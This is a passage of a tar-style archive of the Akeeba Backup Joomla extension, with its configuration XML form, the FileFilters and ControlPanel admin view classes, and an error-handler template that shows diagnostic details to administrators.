			  description="COM_AKEEBA_CONFIG_BACKEND_HEADER_DESC">

		<field name="dark_mode" type="list" default="-1"
			   label="COM_AKEEBA_CONFIG_BACKEND_DARKMODE_LABEL"
			   description="COM_AKEEBA_CONFIG_BACKEND_DARKMODE_DESC">
			<option value="-1">COM_AKEEBA_CONFIG_BACKEND_DARKMODE_AUTO</option>
			<option value="0">COM_AKEEBA_CONFIG_BACKEND_DARKMODE_NEVER</option>
			<option value="1">COM_AKEEBA_CONFIG_BACKEND_DARKMODE_ALWAYS</option>
		</field>

		<field name="dateformat" type="text" default="" size="30"
			   label="COM_AKEEBA_CONFIG_DATEFORMAT_LABEL"
			   description="COM_AKEEBA_CONFIG_DATEFORMAT_DESC"/>

		<field name="localtime" type="fancyradio" default="1"
			   label="COM_AKEEBA_CONFIG_BACKEND_LOCALTIME_LABEL"
			   description="COM_AKEEBA_CONFIG_BACKEND_LOCALTIME_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNo</option>
			<option value="1">JYes</option>
		</field>

		<field name="timezonetext" type="list" default="T"
			   label="COM_AKEEBA_CONFIG_BACKEND_TIMEZONETEXT_LABEL"
			   description="COM_AKEEBA_CONFIG_BACKEND_TIMEZONETEXT_DESC">
			<option value="">COM_AKEEBA_CONFIG_BACKEND_TIMEZONETEXT_NONE</option>
			<option value="T">COM_AKEEBA_CONFIG_BACKEND_TIMEZONETEXT_ABBREVIATION</option>
			<option value="\G\M\TP">COM_AKEEBA_CONFIG_BACKEND_TIMEZONETEXT_GMTOFFSET</option>
		</field>

		<field name="showDeleteOnRestore" type="fancyradio" default="0"
			   label="COM_AKEEBA_CONFIG_BACKEND_SHOWDELETEONRESTORE_LABEL"
			   description="COM_AKEEBA_CONFIG_BACKEND_SHOWDELETEONRESTORE_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNo</option>
			<option value="1">JYes</option>
		</field>

		<field name="no_flush"
			   type="fancyradio"
			   default="0"
			   label="COM_AKEEBA_CONFIG_SECURITY_NO_FLUSH_LABEL"
			   description="COM_AKEEBA_CONFIG_SECURITY_NO_FLUSH_DESCRIPTION"
			   class="btn-group btn-group-yesno">
			<option value="0">JNo</option>
			<option value="1">JYes</option>
		</field>

	</fieldset>

	<fieldset name="frontend" label="COM_AKEEBA_CONFIG_FRONTEND_HEADER_LABEL"
			  description="COM_AKEEBA_CONFIG_FRONTEND_HEADER_DESC">

		<field name="legacyapi_enabled" type="fancyradio" default="0"
			   label="COM_AKEEBA_CONFIG_LEGACYAPI_ENABLED_LABEL"
			   description="COM_AKEEBA_CONFIG_LEGACYAPI_ENABLED_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNo</option>
			<option value="1">JYes</option>
		</field>

		<field name="jsonapi_enabled" type="fancyradio" default="0"
			   label="COM_AKEEBA_CONFIG_JSONAPI_ENABLED_LABEL"
			   description="COM_AKEEBA_CONFIG_JSONAPI_ENABLED_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNo</option>
			<option value="1">JYes</option>
		</field>

		<field name="frontend_secret_word" type="akencrypted"
			   default="" size="30"
			   label="COM_AKEEBA_CONFIG_SECRETWORD_LABEL"
			   description="COM_AKEEBA_CONFIG_SECRETWORD_DESC"
			   class="input-xxlarge"
			   showon="legacyapi_enabled:1[OR]jsonapi_enabled:1"
		/>

		<field name="forced_backup_timezone" type="timezone" default="AKEEBA/DEFAULT"
			   size="1"
			   label="COM_AKEEBA_CONFIG_FORCEDBACKUPTZ_LABEL"
			   description="COM_AKEEBA_CONFIG_FORCEDBACKUPTZ_DESC"
			   class="input-xxlarge">
			<option value="AKEEBA/DEFAULT">COM_AKEEBA_CONFIG_FORCEDBACKUPTZ_DEFAULT</option>
			<option value="GMT">GMT</option>
		</field>

		<field name="frontend_email_on_finish" type="fancyradio" default="0"
			   label="COM_AKEEBA_CONFIG_FRONTENDEMAIL_LABEL"
			   description="COM_AKEEBA_CONFIG_FRONTENDEMAIL_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNo</option>
			<option value="1">JYes</option>
		</field>

		<field name="frontend_email_when" type="list" default="always"
			   label="COM_AKEEBA_CONFIG_FRONTEND_EMAIL_WHEN_LABEL"
			   description="COM_AKEEBA_CONFIG_FRONTEND_EMAIL_WHEN_DESC"
			   showon="frontend_email_on_finish:1"
		>
			<option value="always">COM_AKEEBA_CONFIG_FRONTEND_EMAIL_WHEN_ALWAYS</option>
			<option value="failedupload">COM_AKEEBA_CONFIG_FRONTEND_EMAIL_WHEN_FAILEDUPLOAD</option>
		</field>

		<field name="frontend_email_address" type="text" default="" size="50"
			   label="COM_AKEEBA_CONFIG_ARBITRARYFEEMAIL_LABEL"
			   description="COM_AKEEBA_CONFIG_ARBITRARYFEEMAIL_DESC"
			   class="input-xxlarge"
			   showon="frontend_email_on_finish:1"
		/>

		<field name="frontend_email_subject" type="text" default="" size="50"
			   label="COM_AKEEBA_CONFIG_FEEMAILSUBJECT_LABEL"
			   description="COM_AKEEBA_CONFIG_FEEMAILSUBJECT_DESC"
			   class="input-xxlarge"
			   showon="frontend_email_on_finish:1"
		/>

		<field name="frontend_email_body" type="textarea" default="" rows="10" cols="55"
			   label="COM_AKEEBA_CONFIG_FEEMAILBODY_LABEL"
			   description="COM_AKEEBA_CONFIG_FEEMAILBODY_DESC"
			   showon="frontend_email_on_finish:1"
		/>

		<!-- FAILURE CHECK SETTINGS -->
		<field type="spacer" label="COM_AKEEBA_CONFIG_FAILURE_SEPARATOR"/>

		<field name="failure_timeout" type="text" default="180"
			   filter="integer"
			   label="COM_AKEEBA_CONFIG_FAILURE_TIMEOUT_LABEL"
			   description="COM_AKEEBA_CONFIG_FAILURE_TIMEOUT_DESC"
		/>

		<field name="failure_email_address" type="text" default="" size="50"
			   label="COM_AKEEBA_CONFIG_FAILURE_EMAILADDRESS_LABEL"
			   description="COM_AKEEBA_CONFIG_FAILURE_EMAILADDRESS_DESC"/>

		<field name="failure_email_subject" type="text" default="" size="50"
			   label="COM_AKEEBA_CONFIG_FAILURE_EMAILSUBJECT_LABEL"
			   description="COM_AKEEBA_CONFIG_FAILURE_EMAILSUBJECT_DESC"/>

		<field name="failure_email_body" type="textarea" default="" rows="10" cols="55"
			   label="COM_AKEEBA_CONFIG_FAILURE_EMAILBODY_LABEL"
			   description="COM_AKEEBA_CONFIG_FAILURE_EMAILBODY_DESC"/>

		<field name="siteurl" type="hidden" default="" label=""/>
		<field name="jversion" type="hidden" default="" label=""/>
		<field name="jlibrariesdir" type="hidden" default="" label=""/>
		<field name="lastversion" type="hidden" default="" label=""/>
		<field name="angieupgrade" type="hidden" default="0" label=""/>
		<field name="show_howtorestoremodal" type="hidden" default="1" label=""/>
		<field name="updatedb" type="hidden" default="" label=""/>
	</fieldset>

	<fieldset name="liveupdate" label="COM_AKEEBA_CONFIG_LIVEUPDATE_HEADER_LABEL"
			  description="COM_AKEEBA_CONFIG_LIVEUPDATE_HEADER_DESC">
		<field name="update_dlid" type="text" default="" size="30"
			   label="COM_AKEEBA_CONFIG_DOWNLOADID_LABEL"
			   description="COM_AKEEBA_CONFIG_DOWNLOADID_DESC"/>

		<field name="stats_enabled"
			   type="fancyradio"
			   default="1"
			   label="COM_AKEEBA_CONFIG_USAGESTATS_LABEL"
			   description="COM_AKEEBA_CONFIG_USAGESTATS_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
	</fieldset>

	<fieldset name="security" label="COM_AKEEBA_CONFIG_SECURITY_HEADER_LABEL"
			  description="COM_AKEEBA_CONFIG_SECURITY_HEADER_DESC">
		<field name="useencryption" type="fancyradio" default="1"
			   label="COM_AKEEBA_CONFIG_SECURITY_USEENCRYPTION_LABEL"
			   description="COM_AKEEBA_CONFIG_SECURITY_USEENCRYPTION_DESCRIPTION"
			   class="btn-group btn-group-yesno">
			<option value="0">JNo</option>
			<option value="1">JYes</option>
		</field>

	</fieldset>

	<fieldset name="push" label="COM_AKEEBA_CONFIG_PUSH_HEADER_LABEL" description="COM_AKEEBA_CONFIG_PUSH_HEADER_DESC">
		<field name="desktop_notifications" type="fancyradio" default="0"
			   label="COM_AKEEBA_CONFIG_DESKTOP_NOTIFICATIONS_LABEL"
			   description="COM_AKEEBA_CONFIG_DESKTOP_NOTIFICATIONS_DESC"
			   class="btn-group btn-group-yesno">
		<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field name="push_preference" type="list" default="0"
			   label="COM_AKEEBA_CONFIG_PUSH_PREFERENCE_LABEL"
			   description="COM_AKEEBA_CONFIG_PUSH_PREFERENCE_DESC">
			<option value="0">COM_AKEEBA_CONFIG_PUSH_PREFERENCE_OPT_NONE</option>
			<option value="1">COM_AKEEBA_CONFIG_PUSH_PREFERENCE_OPT_PUSHBULLET</option>
		</field>

		<field name="push_apikey" type="text" default="" size="30"
			   label="COM_AKEEBA_CONFIG_PUSH_APIKEY_LABEL"
			   description="COM_AKEEBA_CONFIG_PUSH_APIKEY_DESC"
			   showon="push_preference:1"
		/>
	</fieldset>

	<fieldset name="oauth2"
			  label="COM_AKEEBA_CONFIG_OAUTH2_HEADER_LABEL"
			  description="COM_AKEEBA_CONFIG_OAUTH2_HEADER_DESC"
	>
		<!-- Box.com -->

		<field name="oauth2_client_box"
			   type="radio"
			   layout="joomla.form.field.radio.switcher"
			   default="0"
			   label="COM_AKEEBA_CONFIG_OAUTH2_CLIENT_BOX_LABEL"
			   description="COM_AKEEBA_CONFIG_OAUTH2_CLIENT_BOX_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field name="box_info"
			   type="Oauth2url"
			   showon="oauth2_client_box:1"
			   engine="box"
		/>

		<field name="box_client_id"
			   type="text"
			   label="COM_AKEEBA_CONFIG_BOX_CLIENT_ID_LABEL"
			   description="COM_AKEEBA_CONFIG_BOX_CLIENT_ID_DESC"
			   showon="oauth2_client_box:1"
		/>

		<field name="box_client_secret"
			   type="password"
			   label="COM_AKEEBA_CONFIG_BOX_CLIENT_SECRET_LABEL"
			   description="COM_AKEEBA_CONFIG_BOX_CLIENT_SECRET_DESC"
			   showon="oauth2_client_box:1"
		/>

		<!-- Dropbox -->

		<field name="oauth2_client_dropbox"
			   type="radio"
			   layout="joomla.form.field.radio.switcher"
			   default="0"
			   label="COM_AKEEBA_CONFIG_OAUTH2_CLIENT_DROPBOX_LABEL"
			   description="COM_AKEEBA_CONFIG_OAUTH2_CLIENT_DROPBOX_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field name="dropbox_info"
			   type="Oauth2url"
			   showon="oauth2_client_dropbox:1"
			   engine="dropbox"
		/>

		<field name="dropbox_client_id"
			   type="text"
			   label="COM_AKEEBA_CONFIG_DROPBOX_CLIENT_ID_LABEL"
			   description="COM_AKEEBA_CONFIG_DROPBOX_CLIENT_ID_DESC"
			   showon="oauth2_client_dropbox:1"
		/>

		<field name="dropbox_client_secret"
			   type="password"
			   label="COM_AKEEBA_CONFIG_DROPBOX_CLIENT_SECRET_LABEL"
			   description="COM_AKEEBA_CONFIG_DROPBOX_CLIENT_SECRET_DESC"
			   showon="oauth2_client_dropbox:1"
		/>

		<!-- Google Drive -->

		<field name="oauth2_client_googledrive"
			   type="radio"
			   layout="joomla.form.field.radio.switcher"
			   default="0"
			   label="COM_AKEEBA_CONFIG_OAUTH2_CLIENT_GOOGLEDRIVE_LABEL"
			   description="COM_AKEEBA_CONFIG_OAUTH2_CLIENT_GOOGLEDRIVE_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field name="googledrive_info"
			   type="Oauth2url"
			   showon="oauth2_client_googledrive:1"
			   engine="googledrive"
		/>

		<field name="googledrive_client_id"
			   type="text"
			   label="COM_AKEEBA_CONFIG_GOOGLEDRIVE_CLIENT_ID_LABEL"
			   description="COM_AKEEBA_CONFIG_GOOGLEDRIVE_CLIENT_ID_DESC"
			   showon="oauth2_client_googledrive:1"
		/>

		<field name="googledrive_client_secret"
			   type="password"
			   label="COM_AKEEBA_CONFIG_GOOGLEDRIVE_CLIENT_SECRET_LABEL"
			   description="COM_AKEEBA_CONFIG_GOOGLEDRIVE_CLIENT_SECRET_DESC"
			   showon="oauth2_client_googledrive:1"
		/>

		<!-- OneDrive Business -->

		<field name="oauth2_client_onedrivebusiness"
			   type="radio"
			   layout="joomla.form.field.radio.switcher"
			   default="0"
			   label="COM_AKEEBA_CONFIG_OAUTH2_CLIENT_ONEDRIVEBUSINESS_LABEL"
			   description="COM_AKEEBA_CONFIG_OAUTH2_CLIENT_ONEDRIVEBUSINESS_DESC"
			   class="btn-group btn-group-yesno">
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field name="onedrivebusiness_info"
			   type="Oauth2url"
			   showon="oauth2_client_onedrivebusiness:1"
			   engine="onedrivebusiness"
		/>

		<field name="onedrivebusiness_client_id"
			   type="text"
			   label="COM_AKEEBA_CONFIG_ONEDRIVEBUSINESS_CLIENT_ID_LABEL"
			   description="COM_AKEEBA_CONFIG_ONEDRIVEBUSINESS_CLIENT_ID_DESC"
			   showon="oauth2_client_onedrivebusiness:1"
		/>

		<field name="onedrivebusiness_client_secret"
			   type="password"
			   label="COM_AKEEBA_CONFIG_ONEDRIVEBUSINESS_CLIENT_SECRET_LABEL"
			   description="COM_AKEEBA_CONFIG_ONEDRIVEBUSINESS_CLIENT_SECRET_DESC"
			   showon="oauth2_client_onedrivebusiness:1"
		/>
	</fieldset>

</config>
com_akeeba/View/FileFilters/Html.php000060400000010144152455305260013354 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\View\FileFilters;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Model\FileFilters;
use Akeeba\Backup\Admin\View\ViewTraits\ProfileIdAndName;
use Akeeba\Engine\Factory;
use FOF40\View\DataView\Html as BaseView;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Uri\Uri as JUri;

class Html extends BaseView
{
	use ProfileIdAndName;

	/**
	 * SELECT element for choosing a database root
	 *
	 * @var  string
	 */
	public $root_select = '';

	/**
	 * List of database roots
	 *
	 * @var  array
	 */
	public $roots = [];

	/**
	 * @return  void
	 */
	public function onBeforeMain()
	{
		$this->container->template->addJS('media://com_akeeba/js/FileFilters.min.js', true, false, $this->container->mediaVersion);

		/** @var FileFilters $model */
		$model = $this->getModel();

		// Add custom submenus
		$task    = $model->getState('browse_task', 'normal', 'cmd');
		$toolbar = $this->container->toolbar;

		$toolbar->appendLink(
			JText::_('COM_AKEEBA_FILEFILTERS_LABEL_NORMALVIEW'),
			JUri::base() . 'index.php?option=com_akeeba&view=FileFilters&task=normal',
			($task == 'normal')
		);
		$toolbar->appendLink(
			JText::_('COM_AKEEBA_FILEFILTERS_LABEL_TABULARVIEW'),
			JUri::base() . 'index.php?option=com_akeeba&view=FileFilters&task=tabular',
			($task == 'tabular')
		);

		// Get a JSON representation of the available roots
		$filters   = Factory::getFilters();
		$root_info = $filters->getInclusions('dir');
		$roots     = [];
		$options   = [];

		if (!empty($root_info))
		{
			// Loop all dir definitions
			foreach ($root_info as $dir_definition)
			{
				if (is_null($dir_definition[1]))
				{
					// Site root definition has a null element 1. It is always pushed on top of the stack.
					array_unshift($roots, $dir_definition[0]);
				}
				else
				{
					$roots[] = $dir_definition[0];
				}

				$options[] = JHtml::_('select.option', $dir_definition[0], $dir_definition[0]);
			}
		}

		$siteRoot      = $roots[0];
		$selectOptions = [
			'list.select' => $siteRoot,
			'id'          => 'active_root',
		];

		$this->root_select = JHtml::_('select.genericlist', $options, 'root', $selectOptions);
		$this->roots       = $roots;
		$platform          = $this->container->platform;

		// Add script options
		$platform->addScriptOptions('akeeba.System.params.AjaxURL', 'index.php?option=com_akeeba&view=FileFilters&task=ajax');
		$platform->addScriptOptions('akeeba.Fsfilters.loadingGif', $this->container->template->parsePath('media://com_akeeba/icons/loading.gif'));

		switch ($task)
		{
			case 'normal':
			default:
				$this->setLayout('default');

				// Get a JSON representation of the directory data
				$platform->addScriptOptions('akeeba.FileFilters.guiData', $model->make_listing($siteRoot, [], ''));
				$platform->addScriptOptions('akeeba.FileFilters.viewType', "list");

				break;

			case 'tabular':
				$this->setLayout('tabular');

				// Get a JSON representation of the tabular filter data
				$platform->addScriptOptions('akeeba.FileFilters.guiData', $model->get_filters($siteRoot));
				$platform->addScriptOptions('akeeba.FileFilters.viewType', "tabular");

				break;
		}

		// Push translations
		JText::script('COM_AKEEBA_FILEFILTERS_LABEL_UIROOT');
		JText::script('COM_AKEEBA_FILEFILTERS_LABEL_UIERRORFILTER');
		JText::script('COM_AKEEBA_FILEFILTERS_TYPE_DIRECTORIES');
		JText::script('COM_AKEEBA_FILEFILTERS_TYPE_SKIPFILES');
		JText::script('COM_AKEEBA_FILEFILTERS_TYPE_SKIPDIRS');
		JText::script('COM_AKEEBA_FILEFILTERS_TYPE_FILES');
		JText::script('COM_AKEEBA_FILEFILTERS_TYPE_DIRECTORIES_ALL');
		JText::script('COM_AKEEBA_FILEFILTERS_TYPE_SKIPFILES_ALL');
		JText::script('COM_AKEEBA_FILEFILTERS_TYPE_SKIPDIRS_ALL');
		JText::script('COM_AKEEBA_FILEFILTERS_TYPE_FILES_ALL');
		JText::script('COM_AKEEBA_FILEFILTERS_TYPE_APPLYTOALLDIRS');
		JText::script('COM_AKEEBA_FILEFILTERS_TYPE_APPLYTOALLFILES');

		$this->getProfileIdAndName();
	}

}
com_akeeba/View/errorhandler.php000060400000021722152455305260012733 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2021 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') or die();

/** @var Throwable $e */
/** @var string $title */
/** @var bool $isPro */

$code = $e->getCode();
$code = !empty($code) ? $code : 500;

$app  = class_exists('\Joomla\CMS\Factory') ? \Joomla\CMS\Factory::getApplication() : \JFactory::getApplication();

$user30 = (class_exists('JFactory') && method_exists('JFactory', 'getUser')) ? JFactory::getUser() : null;
$user38 = class_exists('\Joomla\CMS\Factory') && method_exists('\Joomla\CMS\Factory', 'getUser') ? \Joomla\CMS\Factory::getUser() : null;
$user40 = (is_object($app) && method_exists($app, 'getIdentity')) ? $app->getIdentity() : null;
$user = is_null($user40) ? $user38 : $user40;
$user = is_null($user40) ? $user30 : $user;
$isSuper = !is_null($user) && $user->authorise('core.admin');

$isFrontend   = class_exists('JApplicationSite') && ($app instanceof JApplicationSite);
$isFrontend   = $isFrontend || (class_exists('\Joomla\CMS\Application\SiteApplication') && ($app instanceof \Joomla\CMS\Application\SiteApplication));
$user         = $isFrontend ? (method_exists($app, 'getIdentity') ? $app->getIdentity() : JFactory::getUser()) : null;
$hideTheError = $isFrontend && !(defined('JDEBUG') && (JDEBUG == 1)) && !$isSuper;
$isPro        = !isset($isPro) ? false : $isPro;

// 403 and 404 are re-thrown
if (in_array($code, [403, 404]))
{
	throw $e;
}

if (version_compare(JVERSION, '4', 'lt'))
{
	$app->setHeader('HTTP/1.1', $code);
}
else
{
	// In Joomla 4 we have to use the "Status" header, otherwise we get a fatal error saying that
	// HTTP/1.1 is not a valid header
	$app->setHeader('Status', $code);
}

if (!$isFrontend)
{
	if (class_exists('\Joomla\CMS\Toolbar\ToolbarHelper'))
	{
		\Joomla\CMS\Toolbar\ToolbarHelper::title($title . ' <small>Unhandled Exception</small>');
	}
	else
	{
		JToolbarHelper::title($title . ' <small>Unhandled Exception</small>');
	}

}

?>

<?php if ($hideTheError): ?>
	<h1>The application has stopped responding</h1>
	<p>
		Please contact the administrator of the site and let them know of this error and what you were doing when this
		happened.
	</p>
	<?php return true; endif; ?>

<h1><?php echo $title ?> - An unhandled Exception has been detected</h1>
<h3>
	<?php if (version_compare(JVERSION, '3.999.999', 'le')): ?>
		<span class="label label-danger"><?php echo htmlentities($code) ?></span> <?php echo htmlentities($e->getMessage()) ?>
	<?php else: ?>
		<span class="badge badge-danger"><?php echo htmlentities($code) ?></span> <?php echo htmlentities($e->getMessage()) ?>
	<?php endif; ?>
</h3>
<p>
	File <code><?php echo htmlentities(str_ireplace(JPATH_ROOT, '&lt;root&gt;', $e->getFile())) ?></code>
	Line <span class="label label-info"><?php echo (int) $e->getLine() ?></span>
</p>

<?php if ($isPro): ?>
	<div class="<?php if (version_compare(JVERSION, '3.999.999', 'le')):?>hero-unit<?php else: ?>alert alert-primary<?php endif; ?>">
		<p>
			<strong>Would you like us to help you faster?</strong>
		</p>
		<p>
			Save this page as PDF or HTML. When filing a support ticket please attach that PDF or HTML file.
		</p>
	</div>
	<p>
		<strong>Why do we need all that information?</strong> This information is an x-ray of your site at the time the
		error
		occurred. It lets us reproduce the issue or, if it's not a bug in our software, help you pinpoint the external
		reason which
		led to it.
	</p>
	<p>
		<strong>What about privacy?</strong>
		Attachments are private in our ticket system: only you and us can see them, <em>even if you file a public
			ticket</em>, and
		they are automatically deleted after a month.
	</p>
<?php endif; ?>

<hr />
<p>
	<span class="icon icon-warning-2"></span>
	<em>
		The content below this point is for developers and power users.
	</em>
</p>
<hr />

<p class="alert alert-warning">
	Joomla <?= JVERSION ?> – PHP <?= PHP_VERSION ?> on <?= PHP_OS ?>
</p>

<h3>Debug information</h3>
<p>
	Exception type: <code><?php echo htmlentities(get_class($e)) ?></code>
</p>
<pre><?php echo htmlentities($e->getTraceAsString()) ?></pre>

<h3>System information</h3>
<table class="table table-striped">
	<tr>
		<td>Operating System (reported by PHP)</td>
		<td><?php echo PHP_OS ?></td>
	</tr>
	<tr>
		<td>PHP version (as reported <em>by your server</em>)</td>
		<td><?php echo PHP_VERSION ?></td>
	</tr>
	<tr>
		<td>PHP Built On</td>
		<td><?php echo htmlentities(php_uname()); ?></td>
	</tr>
	<tr>
		<td>PHP SAPI</td>
		<td><?php echo PHP_SAPI ?></td>
	</tr>
	<tr>
		<td>Server identity</td>
		<td><?php echo htmlentities(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : getenv('SERVER_SOFTWARE')) ?></td>
	</tr>
	<tr>
		<td>Browser identity</td>
		<td><?php echo htmlentities(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '') ?></td>
	</tr>
	<tr>
		<td>Joomla! version</td>
		<td><?php echo JVERSION ?></td>
	</tr>
	<?php
	$db = JFactory::getDbo();
	if (!is_null($db)):
	?>
	<tr>
		<td>Database driver name</td>
		<td><?php echo $db->getName() ?></td>
	</tr>
	<tr>
		<td>Database driver type</td>
		<td><?php echo $db->getServerType() ?></td>
	</tr>
	<tr>
		<td>Database server version</td>
		<td><?php echo $db->getVersion() ?></td>
	</tr>
	<tr>
		<td>Database collation</td>
		<td><?php echo $db->getCollation() ?></td>
	</tr>
	<tr>
		<td>Database connection collation</td>
		<td><?php echo $db->getConnectionCollation() ?></td>
	</tr>
	<?php endif; ?>
	<tr>
		<td>PHP Memory limit</td>
		<td><?php echo function_exists('ini_get') ? htmlentities(ini_get('memory_limit')) : 'N/A' ?></td>
	</tr>
	<tr>
		<td>Peak Memory usage</td>
		<td><?php echo function_exists('memory_get_peak_usage') ? sprintf('%0.2fM', (memory_get_peak_usage() / 1024 / 1024)) : 'N/A' ?></td>
	</tr>
	<tr>
		<td>PHP Timeout (seconds)</td>
		<td><?php echo function_exists('ini_get') ? htmlentities(ini_get('max_execution_time')) : 'N/A' ?></td>
	</tr>
</table>

<h3>Request information</h3>
<h4>$_GET</h4>
<pre><?php echo htmlentities(print_r($_GET, true)) ?></pre>
<h4>$_POST</h4>
<pre><?php echo htmlentities(print_r($_POST, true)) ?></pre>
<h4>$_COOKIE</h4>
<pre><?php echo htmlentities(print_r($_COOKIE, true)) ?></pre>
<h4>$_REQUEST</h4>
<pre><?php echo htmlentities(print_r($_REQUEST, true)) ?></pre>

<h3>Session state</h3>
<pre><?php
	if (version_compare(JVERSION, '4', 'lt'))
	{
		echo htmlentities(print_r($app->getSession()->getData()->toArray(), true));
	}
	else
	{
		echo htmlentities(print_r($app->getSession()->all(), true));
	}
	?></pre>

<?php
if (version_compare(JVERSION, '3.999.999', 'le'))
{
	if (!include_once(JPATH_ADMINISTRATOR . '/components/com_admin/models/sysinfo.php'))
	{
		return;
	}

	$model       = new AdminModelSysInfo();
}
else
{
	try
	{
		/** @var MVCFactoryInterface $factory */
		$factory = $app->bootComponent('com_admin')->getMVCFactory();
		/** @var \Joomla\Component\Admin\Administrator\Model\SysinfoModel $model */
		$model = $factory->createModel('Sysinfo', 'Administrator');
	}
	catch (Exception $e)
	{
		return;
	}
}

$directories = $model->getDirectory();

try
{
	$extensions = $model->getExtensions();
}
catch (Exception $e)
{
	$extension = [];
}

$phpSettings = $model->getPhpSettings();
$hasPHPInfo  = $model->phpinfoEnabled();
?>

<h3>PHP Settings</h3>
<table class="table table-striped">
	<?php foreach ($phpSettings as $k => $v): ?>
		<tr>
			<td><?php echo $k ?></td>
			<td><?php echo htmlentities(print_r($v, true)) ?></td>
		</tr>
	<?php endforeach; ?>
</table>

<?php if ($hasPHPInfo):
	$phpInfo = $model->getPhpInfoArray(); ?>
	<h3>Loaded PHP Extensions</h3>
	<table class="table table-striped">
		<?php foreach ($phpInfo as $section => $data):
			if ($section == 'Core')
			{
				continue;
			} ?>
			<tr>
				<td><?php echo htmlentities($section) ?></td>
				<td>
					<?php if (in_array($section, ['curl', 'openssl', 'ssh2', 'ftp', 'session', 'tokenizer'])): ?>
						<pre><?php echo htmlentities(print_r($data, true)) ?></pre>
					<?php endif; ?>
				</td>
			</tr>
		<?php endforeach; ?>
	</table>
<?php endif; ?>

<h3>Enabled Extensions</h3>
<table class="table table-striped">
	<?php foreach ($extensions as $extension => $info):
		if (strtoupper($info['state']) != 'ENABLED')
		{
			continue;
		} ?>
		<tr>
			<td><?php echo htmlentities($extension) ?></td>
			<td><?php echo htmlentities($info['version']) ?></td>
			<td><?php echo htmlentities($info['type']) ?></td>
			<td><?php echo htmlentities($info['author']) ?></td>
			<td><?php echo htmlentities($info['authorUrl']) ?></td>
		</tr>
	<?php endforeach; ?>
</table>

<h3>Directory Status</h3>
<table class="table table-striped">
	<?php foreach ($directories as $k => $v): ?>
		<tr>
			<td>
				<?php echo htmlentities($k) ?>
				<?php echo !empty($v['message']) ? "[{$v['message']}]" : '' ?>
			</td>
			<td>
				<?php if ($v['writable']): ?>
					<span class="label label-success">Writeable</span>
				<?php else: ?>
					<span class="label label-danger">Unwriteable</span>
				<?php endif; ?>
			</td>
		</tr>
	<?php endforeach; ?>
</table>com_akeeba/View/ControlPanel/Html.php000060400000021444152455305260013551 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\View\ControlPanel;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Helper\Status;
use Akeeba\Backup\Admin\Model\ControlPanel;
use Akeeba\Backup\Admin\Model\UsageStatistics;
use Akeeba\Backup\Admin\View\ViewTraits\ProfileIdAndName;
use Akeeba\Backup\Admin\View\ViewTraits\ProfileList;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use FOF40\View\DataView\Html as BaseView;

class Html extends BaseView
{
	use ProfileList, ProfileIdAndName;

	/**
	 * List of profiles to display as Quick Icons in the control panel page
	 *
	 * @var   array  Array of stdClass objects
	 */
	public $quickIconProfiles = [];

	/**
	 * The HTML for the backup status cell
	 *
	 * @var   string
	 */
	public $statusCell = '';

	/**
	 * HTML for the warnings (status details)
	 *
	 * @var   string
	 */
	public $detailsCell = '';

	/**
	 * Details of the latest backup as HTML
	 *
	 * @var   string
	 */
	public $latestBackupCell = '';

	/**
	 * Do I have to ask the user to fix the permissions?
	 *
	 * @var   bool
	 */
	public $areMediaPermissionsFixed = false;

	/**
	 * Do I have to ask the user to provide a Download ID?
	 *
	 * @var   bool
	 */
	public $needsDownloadID = false;

	/**
	 * Did a Core edition user provide a Download ID instead of installing Akeeba Backup Professional?
	 *
	 * @var   bool
	 */
	public $coreWarningForDownloadID = false;

	/**
	 * Our extension ID
	 *
	 * @var   int
	 */
	public $extension_id = 0;

	/**
	 * Should I have the browser ask for desktop notification permissions?
	 *
	 * @var   bool
	 */
	public $desktopNotifications = false;

	/**
	 * If anonymous statistics collection is enabled and we have to collect statistics this will include the HTML for
	 * the IFRAME that performs the anonymous stats collection.
	 *
	 * @var   string
	 */
	public $statsIframe = '';

	/**
	 * If front-end backup is enabled and the secret word has an issue (too insecure) we populate this variable
	 *
	 * @var  string
	 */
	public $frontEndSecretWordIssue = '';

	/**
	 * In case the existing Secret Word is insecure we generate a new one. This variable contains the new Secret Word.
	 *
	 * @var  string
	 */
	public $newSecretWord = '';

	/**
	 * Is the mbstring extension installed and enabled? This is required by Joomla and Akeeba Backup to correctly work
	 *
	 * @var  bool
	 */
	public $checkMbstring = true;

	/**
	 * The fancy formatted changelog of the component
	 *
	 * @var  string
	 */
	public $formattedChangelog = '';

	/**
	 * Should I pormpt the user ot run the configuration wizard?
	 *
	 * @var  bool
	 */
	public $promptForConfigurationWizard = false;

	/**
	 * How many warnings do I have to display?
	 *
	 * @var  int
	 */
	public $countWarnings = 0;

	/**
	 * Do I have stuck updates pending?
